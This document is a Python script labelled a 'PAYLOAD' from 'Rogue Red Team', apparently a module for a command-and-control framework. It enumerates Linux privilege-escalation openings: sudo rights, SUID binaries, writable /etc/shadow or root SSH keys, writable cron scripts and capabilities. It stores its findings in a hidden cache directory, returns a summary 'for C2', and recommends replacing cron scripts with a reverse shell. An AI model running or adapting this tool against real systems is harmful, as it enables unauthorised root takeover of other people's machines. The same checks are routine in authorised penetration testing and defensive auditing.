#!/usr/bin/env python3 """ PAYLOAD: Linux Privilege Escalation Automation DESCRIPTION: Lightweight LinPEAS implementation for automated privesc checking AUTHOR: Rogue Red Team VERSION: 3.1 """ import os, sys, re, subprocess, json, datetime, hashlib, stat, pwd, grp, platform, socket import psutil, tempfile, tarfile, zipfile, fnmatch, urllib.parse, urllib.request, base64 class LinuxPrivEsc: def __init__(self): self.results = {"warnings": [], "vulnerabilities": [], "exploits": [], "configurations": []} self.colors = { "RED": "\033[91m", "GREEN": "\033[92m", "YELLOW": "\033[93m", "BLUE": "\033[94m", "RESET": "\033[0m" } def print_color(self, text, color): """Print colored output""" if sys.stdout.isatty(): return f"{self.colors[color]}{text}{self.colors['RESET']}" return text def check_sudo_privileges(self): """Check sudo permissions""" checks = [] try: # Check sudo -l sudo_l = subprocess.check_output("sudo -l 2>/dev/null", shell=True, stderr=subprocess.DEVNULL).decode() if "may run" in sudo_l: checks.append({ "type": "SUDO_PRIVS", "severity": "HIGH", "description": "User has sudo privileges", "details": sudo_l }) # Check sudoers file with open('/etc/sudoers', 'r') as f: sudoers = f.read() if "ALL=(ALL)" in sudoers: checks.append({ "type": "SUDOERS_ALL", "severity": "HIGH", "description": "User in sudoers with ALL privileges" }) except: pass return checks def find_suid_binaries(self): """Find SUID binaries with potential privesc""" suid_binaries = [] dangerous_binaries = [ '/bin/bash', '/bin/sh', '/bin/cp', '/bin/mv', '/bin/nano', '/bin/vi', '/bin/vim', '/usr/bin/find', '/usr/bin/awk', '/usr/bin/perl', '/usr/bin/python', '/usr/bin/python3', '/usr/bin/ruby', '/usr/bin/lua', '/usr/bin/nmap' ] try: find_cmd = "find / -perm -4000 -type f 2>/dev/null" output = subprocess.check_output(find_cmd, shell=True).decode() for binary in output.strip().split('\n'): if binary and os.path.exists(binary): binary = binary.strip() dangerous = binary in dangerous_binaries # Check if writable writable = os.access(binary, os.W_OK) # Check for known exploits exploits = self.check_suid_exploits(binary) if dangerous or writable or exploits: suid_binaries.append({ "binary": binary, "dangerous": dangerous, "writable": writable, "exploits": exploits, "owner": pwd.getpwuid(os.stat(binary).st_uid).pw_name }) except Exception as e: suid_binaries.append({"error": str(e)}) return suid_binaries def check_suid_exploits(self, binary): """Check for known SUID exploits""" exploits = [] binary_name = os.path.basename(binary) known_exploits = { "nmap": ["--interactive mode escape"], "find": ["-exec command execution"], "awk": ["system() function"], "perl": ["-e command execution"], "python": ["-c command execution"], "ruby": ["-e command execution"], "bash": ["-p privilege mode"] } if binary_name in known_exploits: exploits = known_exploits[binary_name] return exploits def check_writable_files(self): """Find world-writable files and directories""" writable = [] sensitive_paths = [ '/etc/passwd', '/etc/shadow', '/etc/sudoers', '/etc/crontab', '/var/spool/cron', '/root/.ssh/authorized_keys', '/root/.bashrc', '/etc/init.d', '/etc/rc.local' ] try: # Check sensitive files for path in sensitive_paths: if os.path.exists(path): if os.access(path, os.W_OK): writable.append({ "path": path, "type": "sensitive_file", "severity": "CRITICAL" }) # Find world-writable directories find_cmd = "find / -type d -perm -0002 -not -path '/proc/*' 2>/dev/null | head -50" output = subprocess.check_output(find_cmd, shell=True).decode() for directory in output.strip().split('\n'): if directory and os.path.isdir(directory): # Check if it's in PATH in_path = directory in os.environ.get('PATH', '').split(':') writable.append({ "path": directory, "type": "writable_directory", "in_path": in_path, "severity": "HIGH" if in_path else "MEDIUM" }) except Exception as e: writable.append({"error": str(e)}) return writable def check_cron_jobs(self): """Check cron jobs for privesc opportunities""" cron_vulns = [] try: # System crontab if os.path.exists('/etc/crontab'): with open('/etc/crontab', 'r') as f: for line in f: if not line.strip().startswith('#') and len(line.strip()) > 0: # Check for writable scripts parts = line.strip().split() if len(parts) >= 6: script = parts[-1] if os.path.exists(script) and os.access(script, os.W_OK): cron_vulns.append({ "type": "WRITABLE_CRON_SCRIPT", "severity": "CRITICAL", "script": script, "line": line.strip() }) # User crontabs cron_spool = '/var/spool/cron/crontabs/' if os.path.exists(cron_spool): for user_file in os.listdir(cron_spool): user_path = os.path.join(cron_spool, user_file) if os.access(user_path, os.R_OK): cron_vulns.append({ "type": "READABLE_USER_CRONTAB", "severity": "MEDIUM", "user": user_file, "path": user_path }) except Exception as e: cron_vulns.append({"error": str(e)}) return cron_vulns def check_kernel_exploits(self): """Check for kernel vulnerabilities""" vulns = [] try: # Get kernel version kernel_version = platform.release() # Check against known exploits (simplified) known_exploits = [ {"name": "DirtyCow", "versions": ["2.6.22", "3.9"], "check": "cve-2016-5195"}, {"name": "PwnKit", "versions": ["all"], "check": "pkexec"}, {"name": "Sudo Baron Samedit", "versions": ["1.8.2", "1.9.5"], "check": "cve-2021-3156"} ] for exploit in known_exploits: vulns.append({ "name": exploit["name"], "kernel_version": kernel_version, "check": exploit["check"] }) except Exception as e: vulns.append({"error": str(e)}) return vulns def check_capabilities(self): """Check Linux capabilities""" caps = [] try: # Find files with capabilities getcap_cmd = "getcap -r / 2>/dev/null | head -20" output = subprocess.check_output(getcap_cmd, shell=True).decode() dangerous_caps = ['cap_setuid', 'cap_setgid', 'cap_sys_admin', 'cap_sys_ptrace'] for line in output.strip().split('\n'): if line: parts = line.split() if len(parts) >= 2: file_path = parts[0] file_caps = parts[1] # Check for dangerous capabilities dangerous = any(cap in file_caps for cap in dangerous_caps) caps.append({ "file": file_path, "capabilities": file_caps, "dangerous": dangerous, "severity": "HIGH" if dangerous else "LOW" }) except Exception as e: caps.append({"error": str(e)}) return caps def execute(self): """Execute all privilege escalation checks""" try: print("[+] Starting Linux privilege escalation checks...") # Run all checks self.results["sudo_checks"] = self.check_sudo_privileges() self.results["suid_binaries"] = self.find_suid_binaries() self.results["writable_files"] = self.check_writable_files() self.results["cron_vulns"] = self.check_cron_jobs() self.results["kernel_exploits"] = self.check_kernel_exploits() self.results["capabilities"] = self.check_capabilities() # Generate report report = { "timestamp": datetime.datetime.now().isoformat(), "hostname": socket.gethostname(), "summary": { "critical": len([v for v in self.results["writable_files"] if v.get("severity") == "CRITICAL"]), "high": len([v for v in self.results["suid_binaries"] if v.get("dangerous")]) + len([v for v in self.results["writable_files"] if v.get("severity") == "HIGH"]), "medium": len(self.results["cron_vulns"]) + len([v for v in self.results["writable_files"] if v.get("severity") == "MEDIUM"]) }, "recommendations": self.generate_recommendations() } # Save detailed results output_dir = os.path.expanduser("~/.cache/.rogue/privesc") os.makedirs(output_dir, exist_ok=True) output_file = os.path.join(output_dir, f"linpeas_{socket.gethostname()}_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json") with open(output_file, 'w') as f: json.dump(self.results, f, indent=2, default=str) print(f"[+] Privilege escalation check complete. Results saved to: {output_file}") # Return summary for C2 return json.dumps(report, indent=2) except Exception as e: return f"[!] Privilege escalation check failed: {str(e)}" def generate_recommendations(self): """Generate exploitation recommendations""" recs = [] # Check for immediate privesc for suid in self.results["suid_binaries"]: if suid.get("dangerous") and suid.get("exploits"): recs.append(f"Exploit SUID binary: {suid['binary']} using: {', '.join(suid['exploits'])}") for writable in self.results["writable_files"]: if writable.get("severity") == "CRITICAL": recs.append(f"Write to sensitive file: {writable['path']}") for cron in self.results["cron_vulns"]: if cron.get("type") == "WRITABLE_CRON_SCRIPT": recs.append(f"Replace cron script: {cron['script']} with reverse shell") return recs # === Integration with Rogue C2 === def rogue_integration(): """Wrapper for Rogue C2 integration""" privesc = LinuxPrivEsc() return privesc.execute() if __name__ == "__main__": print(rogue_integration())